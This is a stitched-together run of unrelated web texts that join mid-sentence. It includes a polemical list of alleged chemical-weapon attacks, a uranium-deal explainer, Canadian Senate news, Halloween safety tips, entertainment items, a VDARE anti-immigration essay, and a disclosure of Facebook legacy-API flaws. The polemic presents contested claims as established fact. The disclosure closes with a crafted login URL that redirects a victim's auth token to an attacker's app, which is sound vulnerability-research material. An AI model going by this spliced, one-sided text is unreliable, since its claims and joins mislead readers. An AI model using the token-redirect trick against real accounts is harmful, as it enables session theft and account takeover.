1. The U.S. Military Dumped 20 Million Gallons of Chemicals on Vietnam from 1962 – 1971
Via: AP During the Vietnam War, the U.S. military sprayed 20 million gallons of chemicals, including the very toxic Agent Orange, on the forests and farmlands of Vietnam and neighboring countries, deliberately destroying food supplies, shattering the jungle ecology, and ravaging the lives of hundreds of thousands of innocent people. Vietnam estimates that as a result of the decade-long chemical attack, 400,000 people were killed or maimed, 500,000 babies have been born with birth defects, and 2 million have suffered from cancer or other illnesses. In 2012, the Red Cross estimated that one million people in Vietnam have disabilities or health problems related to Agent Orange.
2. Israel Attacked Palestinian Civilians with White Phosphorus in 2008 – 2009 Via: AP White phosphorus is a horrific incendiary chemical weapon that melts human flesh right down to the bone. In 2009, multiple human rights groups, including Human Rights Watch, Amnesty International, and International Red Cross reported that the Israeli government was attacking civilians in their own country with chemical weapons. An Amnesty International team claimed to find “indisputable evidence of the widespread use of white phosphorus” as a weapon in densely-populated civilian areas. The Israeli military denied the allegations at first, but eventually admitted they were true. After the string of allegations by these NGOs, the Israeli military even hit a UN headquarters(!) in Gaza with a chemical attack. How do you think all this evidence compares to the case against Syria? Why didn’t Obama try to bomb Israel?
3. Washington Attacked Iraqi Civilians with White Phosphorus in 2004 Via: AP In 2004, journalists embedded with the U.S. military in Iraq began reporting the use of white phosphorus in Fallujah against Iraqi insurgents. First the military lied and said that it was only using white phosphorus to create smokescreens or illuminate targets. Then it admitted to using the volatile chemical as an incendiary weapon. At the time, Italian television broadcaster RAI aired a documentary entitled, “Fallujah, The Hidden Massacre,” including grim video footage and photographs, as well as eyewitness interviews with Fallujah residents and U.S. soldiers revealing how the U.S. government indiscriminately rained white chemical fire down on the Iraqi city and melted women and children to death.
4. The CIA Helped Saddam Hussein Massacre Iranians and Kurds with Chemical Weapons in 1988 CIA records now prove that Washington knew Saddam Hussein was using chemical weapons (including sarin, nerve gas, and mustard gas) in the Iran-Iraq War, yet continued to pour intelligence into the hands of the Iraqi military, informing Hussein of Iranian troop movements while knowing that he would be using the information to launch chemical attacks. At one point in early 1988, Washington warned Hussein of an Iranian troop movement that would have ended the war in a decisive defeat for the Iraqi government. By March an emboldened Hussein with new friends in Washington struck a Kurdish village occupied by Iranian troops with multiple chemical agents, killing as many as 5,000 people and injuring as many as 10,000 more, most of them civilians. Thousands more died in the following years from complications, diseases, and birth defects.
5. The Army Tested Chemicals on Residents of Poor, Black St. Louis Neighborhoods in The 1950s
In the early 1950s, the Army set up motorized blowers on top of residential high-rises in low-income, mostly black St. Louis neighborhoods, including areas where as much as 70% of the residents were children under 12. The government told residents that it was experimenting with a smokescreen to protect the city from Russian attacks, but it was actually pumping the air full of hundreds of pounds of finely powdered zinc cadmium sulfide. The government admits that there was a second ingredient in the chemical powder, but whether or not that ingredient was radioactive remains classified. Of course it does. Since the tests, an alarming number of the area’s residents have developed cancer. In 1955, Doris Spates was born in one of the buildings the Army used to fill the air with chemicals from 1953 – 1954. Her father died inexplicably that same year, she has seen four siblings die from cancer, and Doris herself is a survivor of cervical cancer.
6. Police Fired Tear Gas at Occupy Protesters in 2011 The savage violence of the police against Occupy protesters in 2011 was well documented, and included the use of tear gas and other chemical irritants. Tear gas is prohibited for use against enemy soldiers in battle by the Chemical Weapons Convention. Can’t police give civilian protesters in Oakland, California the same courtesy and protection that international law requires for enemy soldiers on a battlefield?
7. The FBI Attacked Men, Women, and Children With Tear Gas in Waco in 1993
At the infamous Waco siege of a peaceful community of Seventh Day Adventists, the FBI pumped tear gas into buildings knowing that women, children, and babies were inside. The tear gas was highly flammable and ignited, engulfing the buildings in flames and killing 49 men and women, and 27 children, including babies and toddlers. Remember, attacking an armed enemy soldier on a battlefield with tear gas is a war crime. What kind of crime is attacking a baby with tear gas?
8. The U.S. Military Littered Iraq with Toxic Depleted Uranium in 2003 Via: AP In Iraq, the U.S. military has littered the environment with thousands of tons of munitions made from depleted uranium, a toxic and radioactive nuclear waste product. As a result, more than half of babies born in Fallujah from 2007 – 2010 were born with birth defects. Some of these defects have never been seen before outside of textbooks with photos of babies born near nuclear tests in the Pacific. Cancer and infant mortality have also seen a dramatic rise in Iraq. According to Christopher Busby, the Scientific Secretary of the European Committee on Radiation Risk, “These are weapons which have absolutely destroyed the genetic integrity of the population of Iraq.” After authoring two of four reports published in 2012 on the health crisis in Iraq, Busby described Fallujah as having, “the highest rate of genetic damage in any population ever studied.”
9. The U.S. Military Killed Hundreds of Thousands of Japanese Civilians with Napalm from 1944 – 1945
Napalm is a sticky and highly flammable gel which has been used as a weapon of terror by the U.S. military. In 1980, the UN declared the use of napalm on swaths of civilian population a war crime. That’s exactly what the U.S. military did in World War II, dropping enough napalm in one bombing raid on Tokyo to burn 100,000 people to death, injure a million more, and leave a million without homes in the single deadliest air raid of World War II.
10. The U.S. Government Dropped Nuclear Bombs on Two Japanese Cities in 1945
Although nuclear bombs may not be considered chemical weapons, I believe we can agree they belong to the same category. They certainly disperse an awful lot of deadly radioactive chemicals. They are every bit as horrifying as chemical weapons if not more, and by their very nature, suitable for only one purpose: wiping out an entire city full of civilians. It seems odd that the only regime to ever use one of these weapons of terror on other human beings has busied itself with the pretense of keeping the world safe from dangerous weapons in the hands of dangerous governments.The Megatons to Megawatts Program, successfully completed in December 2013, is the popular name given to the program which is also called the United States-Russia Highly Enriched Uranium Purchase Agreement. The official name of the program is the "Agreement between the Government of the Russian Federation and the Government of the United States of America Concerning the Disposition of Highly-Enriched Uranium Extracted from Nuclear Weapons", dated February 18, 1993.[1] Under this Agreement, Russia agreed to supply the United States with low-enriched uranium (LEU) obtained from high-enriched uranium (HEU) found to be in excess of Russian defense purposes. The United States agreed to purchase the low-enriched uranium fuel.
The original proposal for this program was made by Thomas Neff, a physicist at MIT, in an October 24, 1991 Op-Ed in The New York Times.[2] On August 28, 1992, in Moscow, U.S. and Russian negotiators initialed the 20-year agreement and President George H. W. Bush announced the agreement on August 31, 1992.[3] In 1993, the agreement was signed and initiated by President Clinton and the commercial implementing contract was then signed by both parties.
Terms of the program [ edit ]
Under this Agreement, United States and Russia agreed to commercially implement a 20-year program to convert 500 metric tons of HEU (uranium 235 enriched to 90 percent) taken from Soviet era warheads, into LEU (less than 5 percent uranium 235). The terms of the agreement required that it be implemented on commercial terms without government funds. The agreement named the Department of Energy as the executive agent for the US side.[4] The DOE appointed the newly privatized United States Enrichment Corporation (USEC) as the commercial agent, its executive program contractor. The Russian Federation designated Techsnabexport (TENEX), a commercial subsidiary of its Ministry for Atomic Energy (Minatom), as the agent to implement the program on commercial terms. On January 14, 1994, the commercial contract between USEC and TENEX (HEU-LEU Contract) was signed. The terms also required that the HEU be converted by dilution (downblending) to LEU in Russian nuclear facilities. USEC would then purchase the low-enriched fuel and transport it to its facilities in the US. The first shipment of LEU took place in May 1995.
The value of the process is in two components: the LEU Feed (feed component of natural uranium) and the work involved in the conversion process, measured as separative work units (SWU). Both have separate commercial values. Early disagreements on interpretations of the terms of the governmental and commercial agreements on this issue led to controversy and some delays. Although each shipment contains LEU, the commercial nature of the global uranium market defines the uranium and the enrichment components as separate commercial values and costs. The solution reached was for USEC to continue payments for the SWU component it purchased and also to transfer the equivalent of the LEU feed component to the Russian side. In March 1999, Minatom and the US Department of Energy signed the Agreement Concerning the Transfer of Source Material to the Russian Federation (the Transfer Agreement), and at the same time TENEX signed a Contract with a Group of Western Companies (Cameco, Canada; Cogema, France; Nukem, Germany/US) regarding the purchase of the LEU Feed. As years passed, numerous commercial contract terms were renegotiated and revised to accommodate mutual interests.
Summary of program [ edit ]
The Megatons to Megawatts program was initiated in 1993 and completed on schedule in December 2013. A total of 500 tonnes of Russian warhead grade HEU (equivalent to 20,008 nuclear warheads) were converted in Russia to nearly 15,000 tonnes tons of LEU (low enriched uranium) and sold to the US for use as fuel in American nuclear power plants. The program was the largest and most successful nuclear non-proliferation program to date. The first nuclear power plant to receive low-enriched fuel containing uranium under this program was the Cooper Nuclear Station in 1998.[5] During the 20-year Megatons to Megawatts program, as much as 10 percent of the electricity produced in the United States was generated by fuel fabricated using LEU from Russian HEU.[6]
During this period, on a comparatively modest basis, the US government has also been converting some of its excess nuclear warhead HEU into power plant fuel. Efforts have also been undertaken to demonstrate the commercial feasibility of converting warhead plutonium into fuel to augment nuclear fuel for US power plants.
Nuclear industry sources forecasted high demand trends that would require finding other uranium supply sources after the completion of the Megatons to Megawatts agreement.[6] In 2011, TENEX and USEC signed a long-term contract (Transitional Supply Agreement – TSA) for the provision of enrichment services to the United States that could see annual deliveries after 2015 reaching a level of around half the annual supply volume under the HEU Deal.[7] No plans have been announced for new initiatives similar to the Megatons to Megawatts program.
See also [ edit ]
References [ edit ]
"A Grand Uranium Bargain," Thomas L. Neff (Op-Ed), New York Times, October 24, 1991. "From Soviet Warheads to U.S. Reactor Fuel," William J. Broad, September 6, 1992.The Conservative government showed signs of softening its sanctions against three disgraced senators late Tuesday with a proposal to allow them to keep their benefits if they are suspended for claiming expenses improperly.
It will be Friday at the earliest before the Senate votes on whether to suspend the senators without pay, ramping up the pressure on Prime Minister Stephen Harper as he prepares to deliver a key speech at the Conservative convention in Calgary.
The Senate Conservatives moved Tuesday to limit the debate on motions to suspend Pamela Wallin, Mike Duffy and Patrick Brazeau from the Red Chamber for alleged "gross misconduct" related to their expense claims. If they are successful, Friday afternoon will be the earliest the Conservatives can force votes on the three suspensions.
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During Tuesday's late-night debate, the Conservative side of the Senate proposed that Mr. Duffy, Ms. Wallin and Mr. Brazeau would be able to keep their medical benefits even if they are suspended without pay.
The move was blocked by an independent senator, but could be revived as negotiations to resolve the question of what to do with the three senators continue.
Mr. Duffy, who has a heart condition, and Ms. Wallin, who has had cancer, have both argued that suspensions without benefits would leave them vulnerable to their medical conditions.
Liberal senators argued against the move to limit debate, saying there is a risk the three senators will be punished without due process. The Liberals also asked the Speaker, Conservative Senator Noel Kinsella, to rule on whether the motion to limit debate was procedurally correct. The request could further delay the final votes, depending on which way the Speaker rules.
Claude Carignan, the government leader in the Senate, acknowledged Tuesday that the suspension votes are unlikely to occur before the Conservative convention gets under way Thursday night. "If the Liberals start to play with the adjournment and use [this] tactic, it's impossible," he said.
As long as the Senate continues to ponder what should be done with the three disgraced senators, "the government's agenda cannot move forward," Mr. Carignan said. "It is time to start moving on to other things."
If the suspension motions are passed on Friday, Mr. Harper will be able to tell members of the Conservative party that the matter has been dealt with when he gives a speech at the convention Friday night. If, however, the debate drags on until the following week, he may be forced to alter his message.
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The Senate controversy is deeply troubling to the Conservatives and Mr. Harper, who appointed all three of the senators facing possible suspension. Facing more questions from the opposition in the House of Commons Tuesday, Mr. Harper heaped blame for the affair on his former chief of staff, Nigel Wright, who gave Mr. Duffy $90,000 to repay questionable housing expenses. Mr. Wright left the job after the arrangement was reported in the media.
The delay in votes on the Senate suspensions could mean some senators will have to cancel their plans to attend the Conservative convention.
Only about a third of Conservative senators had planned to attend the convention, a source said, in part because many felt they would not be welcomed by Conservative MPs who are frustrated with the ongoing expenses scandal. Senators were also told they should not bill the Senate for any convention-related expenses because of concern over the optics of doing so during the ongoing controversy.
Last week, Mr. Carignan signalled that he was willing to consider lighter punishments for the senators based on their comments in the Red Chamber. Sources familiar with the matter said Sunday that Mr. Carignan would not consider any changes to the motions that would allow the senators to continue to be paid. But the sources said there could be flexibility on the length of time senators were suspended or the conditions of the suspensions, such as medical and pension benefits.
However, Mr. Carignan indicated on Tuesday that he had no plans to amend the length of the suspensions. "Look, we asked for suspension without pay up to the end of the session. I think that what we have, actually, it's appropriate and it's what we [will] continue to fight for."
The Conservatives accused the Liberals of wasting time and trying to unnecessarily extend the debate, a point James Cowan, Liberal leader in the Senate, disputed. "We're not trying to drag this out," he said. "But these are very, very important principles and very important issues that we are dealing with, and I think Canadians realize how important they are and the question is, why are they doing it."The men and women of the Los Angeles Fire Department want your Halloween celebration to be memorable for all the right reasons. Help stay safe by planning ahead and sharing these LAFD safety tips BEFORE HALLOWEEN:
Plan costumes that are bright and reflective. Make sure that shoes fit well and that costumes are short enough to prevent tripping, entanglement or contact with flame.
Consider adding reflective tape or striping to costumes and trick-or-treat bags for greater visibility.
Secure emergency identification (name, address, phone number) discreetly within Halloween attire or on a bracelet.
Because a mask can limit or block eyesight, consider non-toxic and hypoallergenic makeup or a decorative hat as a safe alternative.
When shopping for costumes, wigs and accessories purchase only those with a label indicating they are flame resistant.
Think twice before using simulated knives, guns or swords. If such props must be used, be certain they do not appear authentic and are soft and flexible to prevent injury.
Consult with an eyecare doctor before using any costume contact lens.
Obtain flashlights with fresh batteries for all children and their escorts.
Plan ahead to use only battery powered lanterns or chemical lightsticks in place of candles in decorations and costumes.
This is also a great time to test your home Smoke Alarms.
Teach children their home phone number and to how call 9-1-1 if they have an emergency or become lost.
Review with your children the principle of "Stop-Drop-Roll", should their clothes catch on fire.
Openly discuss appropriate and inappropriate behavior at Halloween time.
Consider purchasing individually packaged healthy food alternatives (or safe non-food treats) for those who visit your home.
Take extra effort to eliminate tripping hazards on your porch and walkway. Check around your property for flower pots, low tree limbs, support wires or garden hoses that may prove hazardous to young children rushing from house to house.
Learn or review CPR skills to aid someone who is choking or having a heart attack.
Consider safe party guidelines when hosting an Adult or Office Party.
Think of unique ways you can safely share the fun in your neighborhood!
FUN ALTERNATIVES:
Find a special event or start one in your own neighborhood.
Community Centers, Shopping Malls and Houses of Worship may have organized festivities.
Share the fun by arranging a visit to a Retirement Home or Senior Center.
Create an alliance with College Fraternities, Sororities or Service Clubs for children's face painting or a carnival.
BEFORE NIGHTFALL ON HALLOWEEN:
A good meal prior to parties and trick-or-treating will discourage youngsters from filling up on Halloween treats.
Consider fire safety when decorating. Do not overload electrical outlets with holiday lighting or special effects, and do not block exit doors.
While children can help with the fun of designing a Jack O' Lantern, leave the carving to adults.
Always keep Jack O' Lanterns and hot electric lamps far away from drapes, decorations, flammable materials or areas where children and pets will be standing or walking.
Plan and review with your children the route and behavior which is acceptable to you.
Do not permit children to bicycle, roller-blade or skateboard.
Agree on a specific time when revelers must return home.
Confine, segregate or otherwise prepare household pets for an evening of frightful sights and sounds. Be sure that all dogs and cats are wearing collars and proper identification tags. Consult your veterinarian for further advice.
Remind all household drivers to remain cautious and drive slowly throughout the community.
Adult partygoers should establish and reward a designated driver.
WHEN TRICK-OR-TREATING:
A parent or responsible adult should always accompany young children on their neighborhood rounds.
Remind Trick-or-Treaters: By using a flashlight, they can see and be seen by others. Stay in a group, walk slowly and communicate where you are going. Only trick-or-treat in well-known neighborhoods at homes that have a porch light on. Remain on well-lit streets and always use the sidewalk. If no sidewalk is available, walk at the farthest edge of the roadway facing traffic. Never cut across yards or use alleys. Never enter a stranger's home or car for a treat. Obey all traffic and pedestrian regulations. Always walk. Never run across a street. Only cross the street as a group in established crosswalks. Remove any mask or item that will limit eyesight before crossing a street, driveway or alley. Don't assume the right of way. Motorists may have trouble seeing Trick-or-Treaters. Just because one car stops, doesn't mean others will. Never consume unwrapped food items or open beverages that may be offered. No treats are to be eaten until they are thoroughly checked by an Adult at home. Law Enforcement authorities should be notified immediately of any suspicious or unlawful activity.
AFTER TRICK-OR-TREATING:
Wait until children are home to sort and check treats. Though tampering is rare, a responsible Adult should closely examine all treats and throw away any spoiled, unwrapped or suspicious items.
Try to apportion treats for the days following Halloween.
Although sharing is encouraged, make sure items that can cause choking (such as hard candies), are given only to those of an appropriate age.
We encourage you to share these LAFD Halloween Safety tips with your friends and family. The Los Angeles Fire Department wishes you a safe celebration!TNT is developing a new series based on The Librarian. If you're not familiar, it's a trilogy of made-for-TV movies starring Noah Wyle as the title character. The network aired the first installment, The Librarian: Quest for the Spear, in 2004, followed by Return to King Solomon's Mines in 2006 and Curse of the Judas Chalice in 2008. They're very fun fantasy films that have an Indiana Jones vibe.
All three movies were successful, and now, six years after the last entry, TNT wants more. But this time they're interested in a 10-episode series. As we all know, Wyle is currently the star of TNT's Falling Skies, which is moving into its fourth season. Yet the network still wants the actor to reprise his role of Flynn Carsen for its new project.
According to TVLine, the show's tentatively called The Librarians and it "would center on four ordinary people with extraordinary talents who discover that they have been selected by Wyle’s Flynn to work for The Library, an ancient fellowship of knowledge and heroism. The quartet travels the world investigating strange occurrences, battling ancient conspiracies and protecting the innocent from the dangerous, secret world of magic."
While the network wants Wyle to appear in a recurring capacity, the remaining cast has yet to be announced. The previous Librarian films featured Bob Newhart, Jane Curtain, Sonya Walger, Kelly Hu, Gabrielle Anwar and Stana Katic.
(via TVLine)There are fresh signs that the major recording labels in the UK are preparing to take another bite out of music streaming service Grooveshark. In a mirror image of a process already carried out twice in the past 18 months, the BPI has prompted a music licensing outfit to poll its members to discover if they have licenses with the US-based service. In every instance so far, this has led to subsequent court action and a blocking of affected sites by the UK's major ISPs.
When discussing Grooveshark with representatives of the company, they are very clear indeed. The music streaming service is 100% legitimate and is always looking to work with artists to monetize their content.
However, over the past several years Grooveshark has been tangled up in legal battles with all of the major labels over copyright and licensing related issues, conflicts which appear to have cooled but have yet to go away.
But despite a toning down of the war rhetoric and a recently signed deal with Sony, Grooveshark has failed to become a service the labels are prepared to recommended to the public as they would a product like Spotify. In fact, there are signs that the labels still have bad feeling towards the US-based company, and not just on home soil either.
The BPI has now embarked on two major rounds of bulk site blocking in the UK. These initiatives first appear as communications sent out to members of music licensing outfit PPL in which they are asked if the sites listed have procured any licenses. The information is sent back to the BPI and then several months later court-ordered High Court blocking takes place.
After learning of the first batch mid 2012, in May 2013 TorrentFreak learned that the BPI was preparing the way for a second site blocking blitz.
That process was completed on October 30 when the majority but not all sites on the May list were blocked by UK ISPs.
As we noted at the time, one of the sites that remained unblocked despite being on the list was Grooveshark. Had the labels decided to let Grooveshark go, free to swim another day? New information received by TorrentFreak this week suggests that is almost certainly not the case.
In fresh correspondence sent out by PPL on behalf of the BPI, members are being asked about Grooveshark in the same format as they have been in previous preludes to site blocking.
While it seems fairly obvious what this is all about and where it will lead, speaking with TorrentFreak the BPI was a little more circumspect over the nature of this member polling.
“BPI regularly carries out intelligence on unlicensed websites. This helps to help protect musicians and support the growth of legal music services,” the music group told us.
“Checking with our and PPL’s members to see if they have licensed particular websites is an ongoing part of this process. It’s something we did in respect of Grooveshark earlier this year and we are now updating our records to ensure they remain accurate.”
TorrentFreak reached out to Grooveshark to discuss the information detailed above but in line with our requests for comment on similar topics in the past, the company failed to respond to our emails.Today's Top Money Stories • Millions of taxpayers fail to claim easy phone-tax refund, IRS says - • As values rise, high-tech entrepreneurs grapple with build-or-sell dilemma - • Girl Scouts cut most trans fats from all cookies - • Is your fur fake, or is it Fido? - • Rats gone wild! Video shows rats running through NYC restaurant - • Add USATODAY.com RSS feeds
Pregnant workers report growing discrimination By Stephanie Armour, USA TODAY The number of women claiming they've been discriminated against on the job because they're pregnant is soaring even as the birth rate declines. Mailyn Pickler, 23, was fired from an auto dealership a week after she revealed her pregnancy. By Rob Schumacher for USA TODAY Pregnancy discrimination complaints filed with the federal Equal Employment Opportunity Commission (EEOC) |
headlines of today.
Headlines like this one, for example:
EU demands Britain gives more rights to migrants: Commissioner wants citizens to “enjoy same rights they have at home in other member states” Eurocrats will today demand that Britain give “rights without borders” to EU migrants. In a move certain to spark a new row with Westminster, EU Commissioner Viviane Reding is pressing for a “fully functioning common area of justice.” Most controversially, citizens would be able to “enjoy the same rights they have at home in another Member State”—potentially importing a string of onerous new rules and obligations to the UK … [By James Slack, Mail Online, March 3, 2014.]
What’s missing from those Cold War debates is any foreboding that, fifty years on, the very concept of the nation-state would be under threat.
The word “nationalist” does not even appear in the index of Nash’s book. It does appear in his narrative, most significantly when he discusses the mid-1960s exchanges between Straussians like Harry Jaffa and states’ rightists like Frank Meyer over liberty versus equality.
What Nash calls “nationalists” here were the Straussians, whom the other side saw as:
… too Hamiltonian, even authoritarian, to satisfy a man [i.e. Meyer] for whom individual freedom and limited government were supreme, and for whom the Tenth Amendment was a good deal more than a “truism.” [Ibid. p. 226.]
From today’s perspective it all looks a bit naïve and parochial. Didn’t they see what was coming?
Well, no, of course they didn’t. We never do.
Writes Nash:
In a noteworthy exchange between Harry Jaffa and Frank Meyer in 1965, the debate was joined on the issue of Abraham Lincoln.
A vigorous and, yes, noteworthy exchange it sounds to have been. But … 1965? The year of the Hart-Celler Immigration Act? Wasn’t that pretty darn “noteworthy”?
Not to a historian of conservatism writing in 1976. Neither Philip Hart nor Emanuel Celler appears in Nash’s 15-page index. Nor does Teddy Kennedy. Nor, for that matter, does the word “immigration.” Such innocent times!
There are of course allowances to be made. This was the Cold War. The nations of the West were huddled together like sheep in a storm, with the possibility of nuclear annihilation always just one crisis away. It was natural for the intellectuals Nash was writing about to think in terms of civilization, not nationality.
Nationalism had in any case suffered by association with fascist collectivism. To cherish one’s country was acceptable, but to regard it as the organic expression of a particular people was frowned upon. This was a time when people said—I think Russell Kirk actually said it—“I am a patriot but not at all a nationalist.”
The more one thinks about that assertion, the less sense it makes; but the technology and demographics of the time allowed people in the West to say it without much reflection.
Even after the 1965 Act ended America’s 44-year immigration pause, cheap air travel from the Third World to the First was only beginning to become available. The Second World—the empires of totalitarian communism—was completely closed off. In 1960 no Second Worlders and not many Third Worlders could get U.S. visas; in 1970, when Third Worlders could, not many could yet afford the air fare.
And the Third World wasn’t so populous. Pakistan’s population was 25 percent of the U.S.A.’s in 1960; today it is 61 percent. The corresponding numbers for Nigeria are 25 and 55 percent; for Mexico, 21 and 38 percent.
The patriot-but-not-nationalist line looks, in retrospect, to have something of cheap grace about it. No need to think about nationalism when the borders are secure and pressure from outside negligible.
This was also the Civil Rights era. When not contemplating Western Civilization at large, the thoughts of American conservatives turned most naturally to sectionalism and states’ rights. The nation, standing midway between their state-sized and civilization-sized obsessions, was not much talked about.
Capitalism was much talked about, because it stood in such clear opposition to the state socialism of our Cold War enemy. Again, though, the corrosive effects of capitalism on the nation-state do not seem to have been on anyone’s mind. Schumpeter had already put the phrase “creative destruction” into circulation, but it was discussed mainly as something that happened within a national economy, American makers of buggy whips finding new employment as American auto mechanics.
“Creative destruction” is none the less destruction, and “destroy” is still antonymous with “conserve.” These elementary points of vocabulary were too little noticed by Cold War conservatives.
As the economic manifestation of individual liberty, standing in contrast with socialist tyranny, capitalism was given a pass. The only Cold War conservatives to offer any significant critique of capitalism were Southern agrarians like Richard Weaver, drawing on the old sectionalist Southern prejudices seeing Yankees as cold-blooded, ruthless seekers of profit.
Nationalism and capitalism: For the Cold War conservatives Nash was writing about, the first was a given, though slightly disreputable as an open topic of conversation; the second was a key value of the West against Soviet socialism, as well as the engine of postwar prosperity.
Today it all looks different. The nation-states of the West are under open, aggressive threat: in Europe, from the likes of EU Commissioner Viviane Reding, and in America, from the open-borders lobbies and the growing power of globalist bureaucracies.
Capitalism looks different, too, its contradictions with conservatism more apparent. For example, Arizona Governor Jan Brewer has vetoed a bill that would have spared merchants from discrimination lawsuits by turned-away customers if the merchant could show that he was acting on “sincerely held religious belief.” She was under great pressure from business interests keen to have the bill vetoed.
Thus the conservative critique of capitalism deserves an airing. We conservatives whose opinions were cooked in the mid-to-late 20th century tend to look kindly on capitalism, in part because we saw close up the horrors and inefficiency of state socialism. But the traditionalist-conservative critique reminds us that capitalism is not necessarily a friend of liberty.
Capitalists— well, some capitalists— are quite happy to crush your liberties if it's good for business, which it sometimes is. Indeed, as we see from all the business lobbying for open borders, they're happy to crush national sovereignty, debase the value of citizenship, and displace American workers, if those things are good for the bottom line.
Just so in Arizona’s case. Glenn Hamer, president of the Arizona Chamber of Commerce, gave a gushing endorsement of the Governor's veto.
Even the excesses of modern feminism have been blamed on capitalism.
That conservatism and capitalism might be at odds is not really news. The old throne-and-altar conservatism of Europe was unfriendly to commerce, at least to commerce not subsumed to statist-mercantilist interests. The last exemplar of that tradition, Franco’s Spain, was a commercial backwater until multinationals were allowed in during the 1960s.
The more open conservatism of the Anglo-Saxons, while respectful of custom and hierarchy, and well furnished with aristocrats who sniffed at “trade,” was more hospitable to free-market principles. Edmund Burke, the patron saint of this tradition, explicitly endorsed those principles:
The balance between consumption and production makes price. The market settles, and alone can settle, that price. Market is the meeting and conference of the consumer and producer, when they mutually discover each other's wants. Nobody, I believe, has observed with any reflection what market is, without being astonished at the truth, the correctness, the celerity, the general equity, with which the balance of wants is settled. [Thoughts and Details on Scarcity, November 1795]
The United States, a bustling, forward-looking commercial nation founded in popular revolution, had no taste for throne-and-altar conservatism, and no great inclination to a Burkean organic, slow-evolving conception of society. Was conservatism even possible in such a place?
That was another topic much worked over by Nash’s intellectuals, with answers reached for in classical notions of virtuous citizenship (the Straussians), 19th-century economic liberalism (the Chicago economists), transcendental values (Kirk), and Southern traditionalism (Weaver).
Today it all needs rethinking. One possibility is that the Old World will come in to redress the balance of the New. The phrase “National Conservatism” is now gaining currency, though almost entirely on the other side of the Atlantic. There is a Wikipedia page, leading off with:
National conservatism is a political term used primarily in Europe to describe a variant of conservatism which concentrates more on national interests than standard conservatism as well as upholding cultural and ethnic identity, while not being outspokenly nationalist or supporting a far-right approach. In Europe, national conservatives are usually Eurosceptics.
The Sweden Democrats are given as an example. Britain’s UKIP is allowed to be a party “with national conservative elements.”
VDARE.com’s James Kirkpatrick has argued that “National Conservatism” is exactly what Senator Jeff Sessions’ heroic critique of the bipartisan Amnesty/ Immigration Surge spasm amounts to. (Since then, Sessions has explicitly called on the GOP to reorient itself way from big business towards American workers. [Jeff Sessions to GOP: Ditch Wall Street, By Neil Munro, Daily Caller, February 28, 2014])
Will national conservatism come to the U.S.A.? If it does, we at VDARE.com will be the first to ring the bell.Gary Numan shouldn't need much of an introduction: following a chance encounter with a Moog synthesizer left over in the studio where his band Tubeway Army were recording, he started incorporating synths into rock songs, going on to pioneer commercially viable electronic pop music and score a couple of classic, chart-topping singles in the process. Last month, he released his very well-received 'Splinter (Songs From A Broken Mind)' – extraordinarily, this was his 20th studio album.
Cars is probably Numan's best-known song (although he's more of a flying man, having been a display pilot for a short time), so we asked him to put together a list of songs to listen to while driving down the open road. He's a good sport, and sure enough, sent us his answers today and they're marvellous. There's a lot of heavy stuff here from the likes of Nine Inch Nails and Rammstein – hardly a quiet drive, it's more like heading full throttle down a Lost Highway.
Nine Inch Nails – Head Like A Hole
Gary Numan: "Best chorus ever written. I defy anyone driving to listen to this without pushing the throttle a little further."
Depeche Mode – I Feel You
Gary Numan: "Depeche Mode. One for winding roads in the dark. It has that uneasy sense of menace."
Queens Of The Stone Age – The Lost Art Of Keeping A Secret
Gary Numan: "Open road, top down, going wherever life takes you."
Rammstein – Sonne
Gary Numan: "Arguably the greatest guitar riff of all time, this is perfect for traffic light racing, or driving a bulldozer I guess."
Fleetwood Mac – Albatross
Gary Numan: "Fleetwood Mac. An essential cure for road rage. Play this, calm yourself, ignore the little shit that just cut you up."
New Order – Blue Monday
Gary Numan: "Play the long version, I think it lasts longer than the drive from LA to New York but that's no bad thing."
KMFDM – Dogma
Gary Numan: "Doesn't really matter when you play this. You will have a better journey if you do. Simple as that."
Marilyn Manson – mOBSCENE
Gary Numan: "If you need to get somewhere in a hurry, this will help. It just makes you go faster, nearer to the edge."
Chris Isaak – Wicked Game
Gary Numan: "For driving home after you've just been dumped."
Lou Reed – Walk On The Wild Side
Gary Numan: "Because everyone should have a Lou Reed song in their car."
Mortal Records/Cooking Vinyl released 'Splinter (Songs from a Broken Mind)' on October 9th 2013. Gary Numan will play at The Roundhouse in London on November 16th, followed by Brighton's The Dome (November 18th) and Wolverhampton's Wulfrun Hall (November 19th) – more details and tickets here.This is part two of my research on Facebook’s legacy REST API. If you’re not familiar with the REST API an overview is contained in part one.
Summary
To make REST API calls for a user a Facebook application must first obtain a session key for the user. The REST API provided two login flows for applications to obtain a session key, one for Web applications (websites) and one for Desktop applications (JavaScript, mobile, and desktop applications).
Both flows contained vulnerabilities that allowed an attacker to steal user sessions. Once a user’s session had been stolen it was possible for the attacker to elevate their access from the limited REST API to the Graph API to being able to reset the user’s password and take full control of their account.
The Web Login Flow
To obtain a session key for a user a Web application would direct the user to the Facebook login URL with its API key:
https://www.facebook.com/login.php?api_key={API_KEY}&v=1.0 1 https : //www.facebook.com/login.php?api_key={API_KEY}&v=1.0
If the user had not already authorized the application they would be prompted to do so. Once the user had authorized the application they would be redirected to the callback URL that had been set for the application along with an auth token:
CALLBACK_URL?auth_token={AUTH_TOKEN} 1 CALLBACK_URL? auth_token = { AUTH_TOKEN }
The application could then exchange the auth token for a session key for the user by calling the method auth.getSession.
Unlike with the Graph API’s login flow, the callback URL could not be overridden via the login URL. At first glance this made the flow unexploitable, however, for many of Facebook’s own internal applications no callback URL was set. When their API keys were used in the login URL it would redirect the auth token to the Facebook domain:
https://www.facebook.com/?auth_token={AUTH_TOKEN} 1 https : //www.facebook.com/?auth_token={AUTH_TOKEN}
While it was not possible to override the callback URL, an optional next parameter could be passed a relative path which would get appended to it:
https://www.facebook.com/login.php?api_key={API_KEY}&v=1.0&next=/some/path 1 https : //www.facebook.com/login.php?api_key={API_KEY}&v=1.0&next=/some/path
CALLBACK_URL/some/path?auth_token={AUTH_TOKEN} 1 CALLBACK_URL / some / path? auth_token = { AUTH_TOKEN }
When used with an internal application that had no callback URL set the path would get appended to the Facebook domain:
https://www.facebook.com/some/path?auth_token={AUTH_TOKEN} 1 https : //www.facebook.com/some/path?auth_token={AUTH_TOKEN}
To steal a user’s auth token an attacker needed to redirect it to their own website. When a Facebook application is loaded from the Facebook mobile website it automatically redirects to its set website URL without any security prompt. It was possible for an attacker to exploit this to steal auth tokens:
https://m.facebook.com/login.php?api_key=882a8490361da98702bf97a021ddc14d&v=1.0&next=/apps/attackersapp 1 https : //m.facebook.com/login.php?api_key=882a8490361da98702bf97a021ddc14d&v=1.0&next=/apps/attackersapp
